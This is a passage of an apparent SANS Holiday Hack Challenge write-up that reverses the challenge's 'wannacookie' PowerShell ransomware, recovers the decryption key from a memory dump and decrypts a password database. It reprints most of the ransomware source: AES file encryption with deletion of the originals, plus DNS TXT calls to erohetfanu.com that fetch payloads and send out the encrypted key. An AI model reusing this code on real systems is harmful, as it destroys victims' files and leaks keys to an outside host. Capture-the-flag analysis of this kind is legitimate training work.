$FileSW.Write($AESP.IV, 0, $AESP.IV.Length);
$Transform = $AESP.CreateEncryptor()
} else {
[Byte[]]$LenIV = New-Object Byte[] 4;
$FileSR.Seek(0, [System.IO.SeekOrigin]::Begin) | Out-Null;
$FileSR.Read($LenIV, 0, 3) | Out-Null;
[Int]$LIV = [System.BitConverter]::ToInt32($LenIV, 0);
[Byte[]]$IV = New-Object Byte[] $LIV;
$FileSR.Seek(4, [System.IO.SeekOrigin]::Begin) | Out-Null;
$FileSR.Read($IV, 0, $LIV) | Out-Null;
$AESP.IV = $IV;
$Transform = $AESP.CreateDecryptor()
};
$CryptoS = New-Object System.Security.Cryptography.CryptoStream($FileSW, $Transform, [System.Security.Cryptography.CryptoStreamMode]::Write);
[Int]$Count = 0;
[Int]$BlockSzBts = $AESP.BlockSize / 8;
[Byte[]]$Data = New-Object Byte[] $BlockSzBts;
Do {
$Count = $FileSR.Read($Data, 0, $BlockSzBts);
$CryptoS.Write($Data, 0, $Count)
} While ($Count -gt 0);
$CryptoS.FlushFinalBlock();
$CryptoS.Close();
$FileSR.Close();
$FileSW.Close();
Clear-variable -Name "key";
Remove-Item $File
}
};
function H2B {
param($HX);
$HX = $HX -split '(..)' | ? { $_ };
ForEach ($value in $HX){
[Convert]::ToInt32($value,16)
}
};
function A2H(){
Param($a);
$c = '';
$b = $a.ToCharArray();
;
Foreach ($element in $b) {
$c = $c + " " + [System.String]::Format("{0:X}", [System.Convert]::ToUInt32($element))
};
return $c -replace ' '
};
function H2A() {
Param($a);
$outa;
$a -split '(..)' | ? { $_ } | forEach {[char]([convert]::toint16($_,16))} | forEach {$outa = $outa + $_};
return $outa
};
function B2H {param($DEC);
$tmp = '';
ForEach ($value in $DEC){$a = "{0:x}" -f [Int]$value;
if ($a.length -eq 1){
$tmp += '0' + $a
} else {
$tmp += $a
}
};
return $tmp
};
function ti_rox {
param($b1, $b2);
$b1 = $(H2B $b1);
$b2 = $(H2B $b2);
$cont = New-Object Byte[] $b1.count;
if ($b1.count -eq $b2.count) {
for($i=0; $i -lt $b1.count ; $i++) {
$cont[$i] = $b1[$i] -bxor $b2[$i]}
};
return $cont
};
function B2G {
param([byte[]]$Data);
Process {
$out = [System.IO.MemoryStream]::new();
$gStream = New-Object System.IO.Compression.GzipStream $out, ([IO.Compression.CompressionMode]::Compress);
$gStream.Write($Data, 0, $Data.Length);
$gStream.Close();
return $out.ToArray()
}
};
function G2B {param([byte[]]$Data);
Process {
$SrcData = New-Object System.IO.MemoryStream( , $Data );
$output = New-Object System.IO.MemoryStream;
$gStream = New-Object System.IO.Compression.GzipStream $SrcData, ([IO.Compression.CompressionMode]::Decompress);
$gStream.CopyTo( $output );
$gStream.Close();
$SrcData.Close();
[byte[]] $byteArr = $output.ToArray();
return $byteArr
}
};
function sh1([String] $String) {
$SB = New-Object System.Text.StringBuilder;
[System.Security.Cryptography.HashAlgorithm]::Create("SHA1").ComputeHash([System.Text.Encoding]::UTF8.GetBytes($String))|%{[Void]$SB.Append($_.ToString("x2"))};
$SB.ToString()
};
function p_k_e($key_bytes, [byte[]]$pub_bytes){
$cert = New-Object -TypeName System.Security.Cryptography.X509Certificates.X509Certificate2;
$cert.Import($pub_bytes);
$encKey = $cert.PublicKey.Key.Encrypt($key_bytes, $true);
return $(B2H $encKey)
};
function e_n_d {
param($key, $allfiles, $make_cookie );
$tcount = 12;
for ( $file=0;
$file -lt $allfiles.length;
$file++ ) {
while ($true) {
$running = @(Get-Job | Where-Object { $_.State -eq 'Running' });
if ($running.Count -le $tcount) {
Start-Job -ScriptBlock {
param($key, $File, $true_false);
try{
e_d_file $key $File $true_false
} catch {
$_.Exception.Message | Out-String | Out-File $($env:userprofile+'\Desktop\ps_log.txt') -append
}
} -args $key, $allfiles[$file], $make_cookie -InitializationScript $functions;
break
} else {
Start-Sleep -m 200;
continue
}
}
}
};
function g_o_dns($f) {
$h = '';
foreach ($i in 0..([convert]::ToInt32($(Resolve-DnsName -Server erohetfanu.com -Name "$f.erohetfanu.com" -Type TXT).Strings, 10)-1)) {
$h += $(Resolve-DnsName -Server erohetfanu.com -Name "$i.$f.erohetfanu.com" -Type TXT).Strings
};
return (H2A $h)
};
function s_2_c($astring, $size=32) {
$new_arr = @();
$chunk_index=0;
foreach($i in 1..$($astring.length / $size)) {
$new_arr += @($astring.substring($chunk_index,$size));
$chunk_index += $size
};
return $new_arr
};
function snd_k($enc_k) {
$chunks = (s_2_c $enc_k );
foreach ($j in $chunks) {
if ($chunks.IndexOf($j) -eq 0) {
$n_c_id = $(Resolve-DnsName -Server erohetfanu.com -Name "$j.6B6579666F72626F746964.erohetfanu.com" -Type TXT).Strings
} else {
$(Resolve-DnsName -Server erohetfanu.com -Name "$n_c_id.$j.6B6579666F72626F746964.erohetfanu.com" -Type TXT).Strings
}
};
return $n_c_id
};
function wanc {
$S1 = "1f8b080000000000040093e76762129765e2e1e6640f6361e7e202000cdd5c5c10000000";
if ($null -ne ((Resolve-DnsName -Name $(H2A $(B2H $(ti_rox $(B2H $(G2B $(H2B $S1))) $(Resolve-DnsName -Server erohetfanu.com -Name 6B696C6C737769746368.erohetfanu.com -Type TXT).Strings))).ToString() -ErrorAction 0 -Server 8.8.8.8))) {
return
};
if ($(netstat -ano | Select-String "127.0.0.1:8080").length -ne 0 -or (Get-WmiObject Win32_ComputerSystem).Domain -ne "KRINGLECASTLE") {
return
};
# "7365727665722E637274" = "server.crt"
$p_k = [System.Convert]::FromBase64String($(g_o_dns("7365727665722E637274") ) );
$b_k = ([System.Text.Encoding]::Unicode.GetBytes($(([char[]]([char]01..[char]255) + ([char[]]([char]01..[char]255)) + 0..9 | sort {Get-Random})[0..15] -join '')) | ? {$_ -ne 0x00});
$h_k = $(B2H $b_k);
$k_h = $(sh1 $h_k);
$p_k_e_k = (p_k_e $b_k $p_k).ToString();
$c_id = (snd_k $p_k_e_k);
$d_t = (($(Get-Date).ToUniversalTime() | Out-String) -replace "`r`n");
[array]$f_c = $(Get-ChildItem *.elfdb -Exclude *.wannacookie -Path $($($env:userprofile+'\Desktop'),$($env:userprofile+'\Documents'),$($env:userprofile+'\Videos'),$($env:userprofile+'\Pictures'),$($env:userprofile+'\Music')) -Recurse | where { ! $_.PSIsContainer } | Foreach-Object {$_.Fullname});
e_n_d $b_k $f_c $true;
Clear-variable -Name "h_k";
Clear-variable -Name "b_k";
$lurl = 'http://127.0.0.1:8080/';
$html_c = @{
'GET /' = $(g_o_dns (A2H "source.min.html"));
'GET /close' = '<p>Bye!</p>'
};
Start-Job -ScriptBlock{param($url);
Start-Sleep 10;
Add-type -AssemblyName System.Windows.Forms;
start-process "$url" -WindowStyle Maximized;
Start-sleep 2;
[System.Windows.Forms.SendKeys]::SendWait("{F11}")} -Arg $lurl;
$list = New-Object System.Net.HttpListener;
$list.Prefixes.Add($lurl);
$list.Start();
try {
$close = $false;
while ($list.IsListening) {
$context = $list.GetContext();
$Req = $context.Request;
$Resp = $context.Response;
$recvd = '{0} {1}' -f $Req.httpmethod, $Req.url.localpath;
if ($recvd -eq 'GET /') {
$html = $html_c[$recvd]
} elseif ($recvd -eq 'GET /decrypt') {
$akey = $Req.QueryString.Item("key");
if ($k_h -eq $(sh1 $akey)) {
$akey = $(H2B $akey);
[array]$f_c = $(Get-ChildItem -Path $($env:userprofile) -Recurse -Filter *.wannacookie | where { ! $_.PSIsContainer } | Foreach-Object {$_.Fullname});
e_n_d $akey $f_c $false;
$html = "Files have been decrypted!";
$close = $true
} else {
$html = "Invalid Key!"
}
} elseif ($recvd -eq 'GET /close') {
$close = $true;
$html = $html_c[$recvd]
} elseif ($recvd -eq 'GET /cookie_is_paid') {
$c_n_k = $(Resolve-DnsName -Server erohetfanu.com -Name ("$c_id.72616e736f6d697370616964.erohetfanu.com".trim()) -Type TXT).Strings;
if ( $c_n_k.length -eq 32 ) {
$html = $c_n_k
} else {
$html = "UNPAID|$c_id|$d_t"
}
} else {
$Resp.statuscode = 404;
$html = '<h1>404 Not Found</h1>'
};
$buffer = [Text.Encoding]::UTF8.GetBytes($html);
$Resp.ContentLength64 = $buffer.length;
$Resp.OutputStream.Write($buffer, 0, $buffer.length);
$Resp.Close();
if ($close) {
$list.Stop();
return
}
}
}
finally {
$list.Stop()
}
};
wanc;
My guess is that the killswitch is in the first four lines of wanc:
$S1 = "1f8b080000000000040093e76762129765e2e1e6640f6361e7e202000cdd5c5c10000000";
if ($null -ne ((Resolve-DnsName -Name $(H2A $(B2H $(ti_rox $(B2H $(G2B $(H2B $S1))) $(Resolve-DnsName -Server erohetfanu.com -Name 6B696C6C737769746368.erohetfanu.com -Type TXT).Strings))).ToString() -ErrorAction 0 -Server 8.8.8.8))) {
return
};
Which would mean that the domain to be registered is the result of:
$S1 = "1f8b080000000000040093e76762129765e2e1e6640f6361e7e202000cdd5c5c10000000";
(H2A $(B2H $(ti_rox $(B2H $(G2B $(H2B $S1))) $(Resolve-DnsName -Server erohetfanu.com -Name 6B696C6C737769746368.erohetfanu.com -Type TXT).Strings)))|Out-File domain.txt
PS C:\Users\demux> type .\domain.txt
yippeekiyaa.aaay
=> Successfully registered yippeekiyaa.aaay!
Question 12:
After activating the kill-switch domain in the last question, Alabaster gives you a zip file with a memory dump and encrypted password database. Use these files to decrypt Alabaster’s password database. What is the password entered in the database for the Vault entry?
Download and extract zipfile. This gives two files:
alabaster_passwords.elfdb.wannacookie
powershell.exe_181109_104716.dmp
Decryption is done using:
} elseif ($recvd -eq 'GET /decrypt') {
$akey = $Req.QueryString.Item("key");
if ($k_h -eq $(sh1 $akey)) {
$akey = $(H2B $akey);
[array]$f_c = $(Get-ChildItem -Path $($env:userprofile) -Recurse -Filter *.wannacookie | where { ! $_.PSIsContainer } | Foreach-Object {$_.Fullname});
e_n_d $akey $f_c $false;
$html = "Files have been decrypted!";
$close = $true
So it makes sense if encryption is done using:
$p_k = [System.Convert]::FromBase64String($(g_o_dns("7365727665722E637274") ) );
$b_k = ([System.Text.Encoding]::Unicode.GetBytes($(([char[]]([char]01..[char]255) + ([char[]]([char]01..[char]255)) + 0..9 | sort {Get-Random})[0..15] -join '')) | ? {$_ -ne 0x00});
$h_k = $(B2H $b_k);
$k_h = $(sh1 $h_k);
$p_k_e_k = (p_k_e $b_k $p_k).ToString();
$c_id = (snd_k $p_k_e_k);
$d_t = (($(Get-Date).ToUniversalTime() | Out-String) -replace "`r`n");
[array]$f_c = $(Get-ChildItem *.elfdb -Exclude *.wannacookie -Path $($($env:userprofile+'\Desktop'),$($env:userprofile+'\Documents'),$($env:userprofile+'\Videos'),$($env:userprofile+'\Pictures'),$($env:userprofile+'\Music')) -Recurse | where { ! $_.PSIsContainer } | Foreach-Object {$_.Fullname});
e_n_d $b_k $f_c $true;
[DBG]: PS C:\Users\demux>> $p_k_e_k
a9ba59d1a2a5c2d80bd23cbc43c1ac51fb83c34ceebc20008cca209cb852b8b9467808c490081311f499c93975471076c55ec86b08fce12d483e7045b3f6d2e166d9086cc0b7659c8a3500ae62df7a2c9b241969d453fa0425bdead1e3b587c046baacccf77c4df4ef952b0d2e40653d595b9450dabcbda6e361d69f165f79cdbf2d5a09cd478177f3f026dfef07fac8da1c5f10b7977264a105740a595eac0b2149dfe1f5c86fe45a1c8db14511e94598fff745c1386ba01631d97bd6c13939e9b94aa12bc0b65a35fbf72ee06d76dc5ee493a4c5f5465203b75b932514bb96b789106ffba768b0ad86968a6619aa8bf22a61a801aef7191e6d36b326999891
This is 512 bytes long
Use power_dump (https://github.com/chrisjd20/power_dump) to load powershell.exe_181109_104716.dmp
and process (takes a long time).
Filter on 512 bytes and I get only 1 variable:
3cf903522e1a3966805b50e7f7dd51dc7969c73cfb1663a75a56ebf4aa4a1849d1949005437dc44b8464dca05680d531b7a971672d87b24b7a6d672d1d811e6c34f42b2f8d7f2b43aab698b537d2df2f401c2a09fbe24c5833d2c5861139c4b4d3147abb55e671d0cac709d1cfe86860b6417bf019789950d0bf8d83218a56e69309a2bb17dcede7abfffd065ee0491b379be44029ca4321e60407d44e6e381691dae5e551cb2354727ac257d977722188a946c75a295e714b668109d75c00100b94861678ea16f8b79b756e45776d29268af1720bc49995217d814ffd1e4b6edce9ee57976f9ab398f9a8479cf911d7d47681a77152563906a2c29c6d12f971
This is however not the key we need to decrypt, but an encrypted variant of it. As it’s encrypted with a public key, we need to decrypt with a private one.
function p_k_e($key_bytes, [byte[]]$pub_bytes){
$cert = New-Object -TypeName System.Security.Cryptography.X509Certificates.X509Certificate2;
$cert.Import($pub_bytes);
$encKey = $cert.PublicKey.Key.Encrypt($key_bytes, $true);
return $(B2H $encKey)
};
We should be able to reverse this.
function p_k_d($encKey, [byte[]]$pub_bytes){
$cert = New-Object -TypeName System.Security.Cryptography.X509Certificates.X509Certificate2;
$cert.Import($pub_bytes);
$key_bytes = $cert.PublicKey.Key.Decrypt($encKey, $true);
return $($key_bytes)
};
[byte[]]$b_encKey = $(H2B "3cf903522e1a3966805b50e7f7dd51dc7969c73cfb1663a75a56ebf4aa4a1849d1949005437dc44b8464dca05680d531b7a971672d87b24b7a6d672d1d811e6c34f42b2f8d7f2b43aab698b537d2df2f401c2a09fbe24c5833d2c5861139c4b4d3147abb55e671d0cac709d1cfe86860b6417bf019789950d0bf8d83218a56e69309a2bb17dcede7abfffd065ee0491b379be44029ca4321e60407d44e6e381691dae5e551cb2354727ac257d977722188a946c75a295e714b668109d75c00100b94861678ea16f8b79b756e45776d29268af1720bc49995217d814ffd1e4b6edce9ee57976f9ab398f9a8479cf911d7d47681a77152563906a2c29c6d12f971")
# "7365727665722E637274" = "server.crt"
$p_k = [System.Convert]::FromBase64String($(g_o_dns("7365727665722E637274") ) );
If this is the public key... could it be that server.key is the private key? key = 6B6579, so 7365727665722E6B6579
$p_k = [System.Convert]::FromBase64String($(g_o_dns("7365727665722E6B6579") ) );
PS > $(g_o_dns("7365727665722E6B6579") )
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDEiNzZVUbXCbMG
L4sM2UtilR4seEZli2CMoDJ73qHql+tSpwtK9y4L6znLDLWSA6uvH+lmHhhep9ui
W3vvHYCq+Ma5EljBrvwQy0e2Cr/qeNBrdMtQs9KkxMJAz0fRJYXvtWANFJF5A+Nq
jI+jdMVtL8+PVOGWp1PA8DSW7i+9eLkqPbNDxCfFhAGGlHEU+cH0CTob0SB5Hk0S
TPUKKJVc3fsD8/t60yJThCw4GKkRwG8vqcQCgAGVQeLNYJMEFv0+WHAt2WxjWTu3
HnAfMPsiEnk/y12SwHOCtaNjFR8Gt512D7idFVW4p5sT0mrrMiYJ+7x6VeMIkrw4
tk/1ZlYNAgMBAAECggEAHdIGcJOX5Bj8qPudxZ1S6uplYan+RHoZdDz6bAEj4Eyc
0DW4aO+IdRaD9mM/SaB09GWLLIt0dyhRExl+fJGlbEvDG2HFRd4fMQ0nHGAVLqaW
OTfHgb9HPuj78ImDBCEFaZHDuThdulb0sr4RLWQScLbIb58Ze5p4AtZvpFcPt1fN
6YqS/y0i5VEFROWuldMbEJN1x+xeiJp8uIs5KoL9KH1njZcEgZVQpLXzrsjKr67U
3nYMKDemGjHanYVkF1pzv/rardUnS8h6q6JGyzV91PpLE2I0LY+tGopKmuTUzVOm
Vf7sl5LMwEss1g3x8gOh215Ops9Y9zhSfJhzBktYAQKBgQDl+w+KfSb3qZREVvs9
uGmaIcj6Nzdzr+7EBOWZumjy5WWPrSe0S6Ld4lTcFdaXolUEHkE0E0j7H8M+dKG2
Emz3zaJNiAIX89UcvelrXTV00k+kMYItvHWchdiH64EOjsWrc8co9WNgK1XlLQtG
4iBpErVctbOcjJlzv1zXgUiyTQKBgQDaxRoQolzgjElDG/T3VsC81jO6jdatRpXB
0URM8/4MB/vRAL8LB834ZKhnSNyzgh9N5G9/TAB9qJJ+4RYlUUOVIhK+8t863498
/P4sKNlPQio4Ld3lfnT92xpZU1hYfyRPQ29rcim2c173KDMPcO6gXTezDCa1h64Q
8iskC4iSwQKBgQCvwq3f40HyqNE9YVRlmRhryUI1qBli+qP5ftySHhqy94okwerE
KcHw3VaJVM9J17Atk4m1aL+v3Fh01OH5qh9JSwitRDKFZ74JV0Ka4QNHoqtnCsc4
eP1RgCE5z0w0efyrybH9pXwrNTNSEJi7tXmbk8azcdIw5GsqQKeNs6qBSQKBgH1v
sC9DeS+DIGqrN/0tr9tWklhwBVxa8XktDRV2fP7XAQroe6HOesnmpSx7eZgvjtVx
moCJympCYqT/WFxTSQXUgJ0d0uMF1lcbFH2relZYoK6PlgCFTn1TyLrY7/nmBKKy
DsuzrLkhU50xXn2HCjvG1y4BVJyXTDYJNLU5K7jBAoGBAMMxIo7+9otN8hWxnqe4
Ie0RAqOWkBvZPQ7mEDeRC5hRhfCjn9w6G+2+/7dGlKiOTC3Qn3wz8QoG4v5xAqXE
JKBn972KvO0eQ5niYehG4yBaImHH+h6NVBlFd0GJ5VhzaBJyoOk+KnOnvVYbrGBq
UdrzXvSwyFuuIqBlkHnWSIeC
-----END PRIVATE KEY-----
Finally some progress. Now to decode. So we have an encrypted random key which we should be able to decrypt using this certificate. After that we should be able to decrypt the file using the key.
Store the raw server.crt
$(g_o_dns("7365727665722E637274") ) | Out-File server.crt.asn
$ openssl x509 -in server.crt.asn -inform DER -out server.crt.der
$ openssl pkcs12 -export -in server.crt.der -inkey q12.server.key -out certificate.pfx
PS C:\Users\demux> $cert = New-Object -TypeName System.Security.Cryptography.X509Certificates.X509Certificate2;
PS C:\Users\demux> $cert.Import(".\certificate.pfx")
PS C:\Users\demux> [byte[]]$b_encKey = $(H2B "3cf903522e1a3966805b50e7f7dd51dc7969c73cfb1663a75a56ebf4aa4a1849d1949005437dc44b8464dca05680d531b7a971672d87b24b7a6d672d1d811e6c34f42b2f8d7f2b43aab698b537d2df2f401c2a09fbe24c5833d2c5861139c4b4d3147abb55e671d0cac709d1cfe86860b6417bf019789950d0bf8d83218a56e69309a2bb17dcede7abfffd065ee0491b379be44029ca4321e60407d44e6e381691dae5e551cb2354727ac257d977722188a946c75a295e714b668109d75c00100b94861678ea16f8b79b756e45776d29268af1720bc49995217d814ffd1e4b6edce9ee57976f9ab398f9a8479cf911d7d47681a77152563906a2c29c6d12f971")
PS C:\Users\demux> $the_key = $cert.PrivateKey.Decrypt($b_encKey, $true)
PS C:\Users\demux> [array]$f_c = $(Get-ChildItem -Path $($env:userprofile) -Recurse -Filter *.wannacookie | where { ! $_.PSIsContainer } | Foreach-Object {$_.Fullname});
PS C:\Users\demux> e_n_d $the_key $f_c $false
Id Name PSJobTypeName State HasMoreData Location Command
-- ---- ------------- ----- ----------- -------- -------
9 Job9 BackgroundJob Running True localhost ...
PS C:\Users\demux> ls
Directory: C:\Users\demux
Mode LastWriteTime Length Name
---- ------------- ------ ----
[...]
-a---- 12/30/2018 11:29 AM 16384 alabaster_passwords.elfdb
[...]
Yay, that decrypted it! Now to get the Vault password.
$ sqlite3 alabaster_passwords.elfdb
SQLite version 3.26.0 2018-12-01 12:34:55
Enter ".help" for usage hints.
sqlite> .tables
passwords
sqlite> select * from passwords
...> ;
alabaster.snowball|CookiesR0cK!2!#|active directory
alabaster@kringlecastle.com|KeepYourEnemiesClose1425|www.toysrus.com
alabaster@kringlecastle.com|CookiesRLyfe!*26|netflix.com
alabaster.snowball|MoarCookiesPreeze1928|Barcode Scanner
alabaster.snowball|ED#ED#EED#EF#G#F#G#ABA#BA#B|vault
alabaster@kringlecastle.com|PetsEatCookiesTOo@813|neopets.com
alabaster@kringlecastle.com|YayImACoder1926|www.codecademy.com
alabaster@kringlecastle.com|Woootz4Cookies19273|www.4chan.org
alabaster@kringlecastle.com|ChristMasRox19283|www.reddit.com
sqlite>
=> ED#ED#EED#EF#G#F#G#ABA#BA#B
Question 13:
Use what you have learned from previous challenges to open the door to Santa’s vault. What message do you get when you unlock the door?
E D# E D# E E D# E F# G# F# G# A B A# B A# B
In the last challenge we needed $akey. Let’s try to put this in A-key.
E D# E D# E E D# E F# G# F# G# A B A# B A# B
+ 1 F E F E F F E F G A G A A# C B C B C
+ 2 F# F F# F F# F# F F# G# A# G# A# B C# C C# C C#
+ 3 G F# G F# G G F# G A B A B C D C# D C# D
+ 4 G# G G# G G# G# G G# A# C A# C C# D# D D# D D#
+ 5 A A# A A# A A A# A B C# B C# D E D# E D# E
+ 6 A# A A# A A# A# A A# C D C D D# F E F E F
+ 7 B A# B A# B B A# B C# D# C# D# E F# F F# F F#
+ 8 C B C B C C B C D E D E F G F# G F# G
+ 9 C# C C# C C# C# C C# D# F D# F F# G# G G# G G#
+10 D C# D C# D D C# D E F# E F# G A G# A G# A
+11 D# D D# D D# D# D D# F G F G G# A# A A# A A#
+10 it is
=> You have unlocked Santa’s vault!
Question 14:
Who was the mastermind behind the whole KringleCon plan?
=> Santa
If you would like to submit a final report, please do so by emailing it to: SANSHolidayHackChallenge@counterhack.com